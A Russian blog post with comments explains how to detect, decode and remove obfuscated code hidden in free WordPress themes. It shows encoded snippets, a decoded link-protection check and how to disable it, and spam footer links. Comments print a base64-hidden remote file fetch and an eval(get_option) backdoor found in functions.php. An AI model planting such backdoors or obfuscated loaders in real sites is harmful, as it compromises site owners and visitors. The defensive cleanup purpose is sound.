Троянский конь в шаблоне

Мы скачиваем шаблон, ставим его к себе на блог и радуемся красивому дизайну, совсем не подозревая, что по сути он из себя представляет троянского коня, в котором сидит зашифрованный код, встроенный в тему оформления, задача которого зашифровать ссылку или чего еще хуже — взломать сайт!
Да, такое случается и довольно часто. Возьмите и прямо сейчас откройте из редактора свой шаблон и посмотрите, нет ли в каком-нибудь файле, например header.php или functions.php кода в виде набора непонятных знаков и символов. Есть? Я Вас поздравляю, Вы являетесь еще одной потенциальной жертвой злоумышленников.

Нет, не обязательно у Вас украдут пароли и что-то попортят. Возможно этот код подсоединяет вирус, который подгружает вместе с Вашей страницей какой-то еще файл на комп читателя, возможно его цель зашифровать ссылку на сторонние ресурсы, или он просто защищает строку копирайтов в футере. Но вы этого знать, разумеется, не можете, поэтому в любом случае необходимо либо удалить этот код из всех файлов, либо просто установить другой шаблон.

вирус wordpress

Итак, что же делать? Лучше всего забить на этот шаблон и подыскать новый, чистый. Но если он вам уж очень понравился, то готовьтесь к борьбе!

Шаг 1. Распознать зашифрованный код

Чтобы обезопасить себя от возможности установить подобный шаблон, можно установить плагин, который проверяет темы оформления на наличие зашифрованного кода и ссылок — Theme Authentity Checker, или сокращенно TAC.
После установки этого плагина заходим в раздел «Внешний вид» (или «Дизайн») и нажимаем ссылку TAC. Попадаем на страницу, на которой отображаются все установленные на блоге темы оформления. Напротив них имеется надпись — «Theme OK» на зеленом фоне или «Encrypted Code Found» на красном. Последняя означает, что найден зашифрованный код, с которым нужно что-то делать.

зашифрованный код в wordpress

Шаг 2. Найти зашифрованный участок кода

Для этого нажимаем на кнопку «Details» и плагин покажет, в каком именно файле найден код с кракозябрами. Обычно он начинается с фразы

eval(base64_decode

, но может быть и такого типа:

<script> 
enc = "%3C%3Fphp%20wp_footer
%28%29%3B%20%3F%3E%3C/div%3E%3Cspan%3E%26
copy%3B%20wp-voprosov.net
%2C%202012%3C/span%3E%3C/body
%3E%3C/html%3E"; 
dec = unescape(enc); 
document.write(dec); 
</script>

или такого:

<SCRIPT type="text/javascript">
<!--
function Decode(){var temp="",i,c=0,out="";
var str="60!63!112!104!
112!32!119!112!95!102
...тут еще много всяких символов...
109!108!62!";l=str.length;while(c<=str.length-1)
{while(str.charAt(c)!='!')temp=temp+str.charAt(c++);
c++;out=out+String.fromCharCode(temp);
temp="";}document.write(out);}
//-->
</SCRIPT><SCRIPT LANGUAGE="JavaScript">
<!--
Decode();
//-->
</SCRIPT>





или такого:

<Script Language='Javascript'>
<!--
document.write(unescape('%3C%3F%7
...многабукафф...
%68%74%6D%6C%3E'));
//-->
</Script>

Когда вы открыли этот файл и в нем действительно содержится шифр, переходим к следующему шагу.

Шаг 3. Раскодировать зашифрованную ссылку

Перед внесением изменений в файлы шаблона создайте резервную копию!

Наиболее часто встречаются два типа защиты.

1. Самый простой, когда зашифрован просто какой-либо отдельный участок html кода шаблона. Справиться с ним просто.
Как правило в данном варианте этот код находится в футере и представляет из себя просто зашифрованную ссылку на сайт разработчика шаблона. Чтобы его убрать достаточно поставить в начало и конец зашифрованного кода какой-то невидимый текст, например

<!--НАЧАЛО КОДА-->

и

<!--КОНЕЦ КОДА-->

. После чего открыть в браузере исходный код страницы (в Google Chrome и Mozilla Firefox это делается кликом правой кнопки мыши и выбором пункта меню «Просмотр кода страницы» или «Исходный код» соответственно) и найти эти только что вставленные строки, скопировать то содержимое, что между ними находится, и заменить этот шифр. Потом удалить ненужные ссылки, поставить свои и сохранить документ -все, шаблон работает так же, как раньше, только уже с вашим текстом. Если мы вставим любой из показанных мной вариантов на страницу и посмотрим в виде кода в браузере, то увидим самые обычные для шаблона WordPress строки:

<?php wp_footer(); ?></div><span>&copy; wp-voprosov.net, 2012</span></body></html>

2. Если после проделанной операции у вас появится сообщение о нарушении авторских прав и невозможности использования темы оформления, значит это было только начало и самое сложное еще впереди. Зашифрованный код в футере защищен где-то еще, обычно в файле функций. Причем тогда разработчик не обязательно должен зашифровать ссылку саму по себе — footer.php может выглядеть вполне себе обычно, но при внесении изменений тема откажется работать. Открываем header.php и видим там код, типа такого:

<?php eval(base64_decode('JGZ0...ещёещёещё...pOw=='));?>

Это функция, которая как раз и защищает определенный участок шаблона от изменений. Чтобы ее расшифровать, идем на сайт он-лайн раскодировщика и декодируем. Подобных сервисов много. Для раскодирования шифра base64 мне больше всего нравится инструмент от Webpeppers.ru, но вы попробуйте разные варианты, которые я привожу в конце статьи. Если не поможет этот, попробуйте другой. После работы скрипта нам выдается вот это:

function wp_initialize_the_theme_load()
{ if (!function_exists("wp_initialize_the_theme"))
{ wp_initialize_the_theme_message(); die; } }
function wp_initialize_the_theme_finish()
{ $uri = strtolower($_SERVER["REQUEST_URI"]);
if(is_admin() || substr_count($uri, "wp-admin") > 0 ||
substr_count($uri, "wp-login") > 0 ) { /* */ }
else { $l = 'Злой дядька не дает нам удалить ссылки';
$f = dirname(__file__) . "/footer.php"; $fd = fopen($f, "r");
$c = fread($fd, filesize($f)); $lp = preg_quote($l, "/");
fclose($fd); if ( strpos($c, $l) == 0 ||
preg_match("/<\!--(.*" . $lp . ".*)-->/si", $c) ||
preg_match("/<\?php([^\?]+[^>]+" . $lp . ".*)\?>/si", $c) ) {
wp_initialize_the_theme_message(); die; } } }
wp_initialize_the_theme_finish();

Из всего этого текста нам надо найти строку

fclose($fd); if ( strpos($c, $l) == 0

и изменить в ней последний «0» на «1». Теперь вставляем расшифрованный вариант на место декодированного и сохраняем functions.php.
Все, теперь ссылки больше не защищены, но плагин TAC все равно будет ругаться. Чтобы окончательно избавиться от всей бяки, вырезаем код:

else { $l = 'Злой дядька не дает нам удалить ссылки';
$f = dirname(__file__) . "/footer.php"; $fd = fopen($f, "r");
$c = fread($fd, filesize($f)); $lp = preg_quote($l, "/");
fclose($fd); if ( strpos($c, $l) == 0 ||
preg_match("/<\!--(.*" . $lp . ".*)-->/si", $c) ||
preg_match("/<\?php([^\?]+[^>]+" . $lp . ".*)\?>/si", $c) ) {
wp_initialize_the_theme_message(); die; } }

Но это уже не обязательно. А вот что обязательно и что я повторю еще раз — всегда создавайте резервную копию шаблона, чтобы всегда можно было сделать откат на несколько шагов назад!

зашифровать ссылку при помощи кода

Если же после обработки декодировщиком вам выдается код типа такого:

<d4v 4d="f22t5r"> <d4v cl1ss="f22t5rl4nks">
D5s4gn5d by: <1 hr5f="http://www.p2w5rn5tsh2p.1t/1d1pt5r/f1hrz53g5/f2rd/"
t4tl5="F2rd">F2rd</1> :: In C2ll1b2r1t42n w4th <1 hr5f="http://www.f4r5c1s4n2s.c2m"
t4tl5="Onl4n5 C1s4n2s">Onl4n5 C1s4n2s</1>,
<1 hr5f="http://www.ch51p-c1r-4ns3r1nc5-t4ps.c2m" t4tl5="C1r Ins3r1nc5">
C1r Ins3r1nc5</1>, <1 hr5f="http://www.h2m54mpr2"
t4tl5="H2m5 Impr2vm5nt">H2m5 Impr2vm5nt</1> </d4v> </d4v>

Это означает, что код зашифрован не с помощью «base64_decode», а посредством «$_F=__FILE__;$_X=» Ищите в шаблоне строку типа этой:

$_X=base64_decode($_X);$_X=strtr($_X,’123456aouie’,

Здесь показано, какие цифры заменяют какие буквы. То есть 1=a, 2=o и т.д. Подставляем вместо цифр буквы и получаем чистый код:

<div id="footer"> <div class="footerlinks"> Designed by: <a href="http://www.powernetshop.at/adapter/fahrzeuge/ford/" title="Ford">Ford</a> :: In Collaboration with <a href="http://www.firecasinos.com" title="Online Casinos">Online Casinos</a>, <a href="http://www.cheap-car-insurance-tips.com" title="Car Insurance">Car Insurance</a>, <a href="http://www.homeimpro" title="Home Improvment">Home Improvment</a> </div> </div>

Шаг 3. Шаблон все равно не работает

Если ни один из вышеописанных способов не работает, надо искать дальше. Возможно защита стоит в других файлах, возможно в скриптах или подключается внешне. если вы не сильны в php, то советую обратиться к профессионалам. За умеренную плату можно договориться с фрилансером о выполнении данной работы. Пусть знающий человек сделает, а вы тем временем напишите какую-нибудь очередную интересную статью.

Как зашифровать ссылку?

Если вы сами являетесь разработчиком шаблонов и хотите воспользоваться описанным методом, то делать надо, соответственно, в обратном направлении. С помощью специального он-лайн сервиса вставить код, преобразовать его в шифр и вставить на место. Также для этого можно использовать программу WebCrypt Pro, которая позволит сделать все то же самое на ПК.

А теперь смотрим видео о работе плагина TAC.

Плагин для распознавания зашифрованного кода и ссылок

Скачать Theme Authentity Checker

Он-лайн сервисы, чтобы расшифровать код или зашифровать ссылку

Поделись этой статьей с друзьями!

Это будет интересно прочитать:

    • Да, причем это чуть ли не в каждом 3м бесплатном шаблоне встречается

  • Проверяю все шаблоны при помощи данного плагина.

    Правда у него реакция не только на вирусы, но и на код, который некорректно написан. но это ничего страшного. Слава богу он указывает на то, что ему конкретно не нравится! =)

    • Предупрежден — значит вооружен! ) Лучше лишний раз перестраховаться

  • Жалко не знал о таком плагине раньше. В тему зашифровали «плохие» ссылки и потерял на время весь трафик с Гугла.

  • Да, вирусы встречаются, и не только в шаблонах. Недавно один вычистил. Поэтому, как говорил Козьма Прутков, бди !

  • У меня не получается убрать код. Замучилась уже:
    — раскодировала код в файле заголовка, но там нет строки, где надо менять 0 на 1;
    — а в файле функций только один тэг , а внутри него штук 7 зашифрованных кодов. Прямо не знаю, что делать (((

    • Обратитесь к программисту, на веблансере можно найти спокойно, который за 10 баксов все в лучшем виде сделает, и будет у вас чистенький шаблон

  • Практически все бесплатные шаблоны имеют скрытые ссылки. А ввобще-то имеются сервиcы проверки исходящих ссылок, где видно какие сылки и исходят, ну а потом искать.

  • Жаль! Статья нормальная, и подробно, а вот что-то не идет у меня. Код (1 из двух в функтион.php) $content=@file_get_contents(base64_decode(‘aHR0cDovL25hMTAwLnJ1L3dwLzEudHh0’));
    Пробовал поместить на расшифровку, и никто похожего на примеры в теме ничего не выдал! Хочется научится бороться с эти «мусором»!

  • Александр подскажите пожалуйста, а какие последствия могут быть если данный шифр просто удалить из кода. Я в целях эксперимента решил попробовать, пока все работает.

    • Если работает, значит все ОК, слабая зашита была. А так может как часть шаблона удалиться, так и заблокироваться вообще с надписью о нарушении авторских прав.

  • Наконец-то нашла подходящий Шаблон. Но хорошо не установила, а проверила из панели по убирать кода. Точно были бы проблемы, как только один код вырезала base64_decode, тема перестала просматриваться. В пяти местах наставили, пакостники. Две скачивала, в другой еще больше. Нашла у вас, что нужно с ним повозиться. Пришлось удалить, не люблю я это дело. Вот из-за таких химиков, не поставишь прикольную тему. Обязательно напакостить нужно. Не буду мучиться, дальше придется искать интересный шаблон. Очень жаль.

  • А что делать когда плагин ТАС показывает “ОК”, а через dinews в одной статье все равно показывает внешнюю ссылку. Причем скрытую (зашифрованную), я ее найти не могу через поиск по коду…Помогите плиз.

    • Шифр может находиться в Java Script файлах, которые подключаются к шаблону

  • А почему именно в одном посте. Причем анкор этой ссылки выбран в виде точки (.). Я в коде страницы его не вижу, увидел через dinews. Далее удалил это предложение с точкой. Обновил страницу, проверил снова через dinews — а ссылочка то сместилась в другое предложение на другую точку. Вот такая вот задачка…

    • Видимо. кто-то к вашему сайту подсоединился и вставил этот вирус. Попробуйте сделать резервную копию всей графики и нужных файлов, отличающихся от системных, ели такие у вас есть, сделать бекап базы данных, удалить весь сайт и установить систему заново, импортировав потом старую базу и загрузив резервные файлы.

  • Вирусов на сайте не найдено. Сейчас просканировал весь сайт, нашел еще такие 2 такие «шифрованные» ссылочки.

    Бэкап БД делал, но суть в том, что это первые 3 опубликованные статьи на сайте. В остальных статьях все чисто. Может попробовать вообще удалить публикацию…? Что делать?

    • Ну раз вы удаляете, а она появляется в другом месте, значит какой-то скрипт работает. Может плагин какой?

  • Все определился. Может кому интересно будет.
    Вредоносный код лежал в файле functions.php шаблона сайта.

    add_filter(‘the_content’, ‘_bloginfo’, 10001);
    function _bloginfo($content){
    global $post;
    if(is_single() && ($co=@eval(get_option(‘blogoption’))) !== false){
    return $co;
    } else return $content;
    }

    Удалил этот код и все стало ок.

    • Повезло, что решение было достаточно простым. Бывает, что такой скрипт шифровки зашит глубоко в файлах скриптов JS, так что не откопать..

  • Лучше после скачивания шаблона сразу проверить на наличие этих вирусов, у себя нашел 1 в подвале тоже зашифрованным был, но все таки немножко погуглив, удалил)

  • Здравствуйте! Давно не был на этом блоге. Вопрос: а темы от Гудвина содержат вредоносный код? Хочу поставить тему MakbethLight, но ТАС показывает 2 зашифрованных кода (или это нечто другое?). Авансом спасибо за ответ.

    • Не упроверял, но возможно есть зашифрованные участки, чтобы можно было шаблон активировать. Вирусов в них точно нет

Добавить комментарий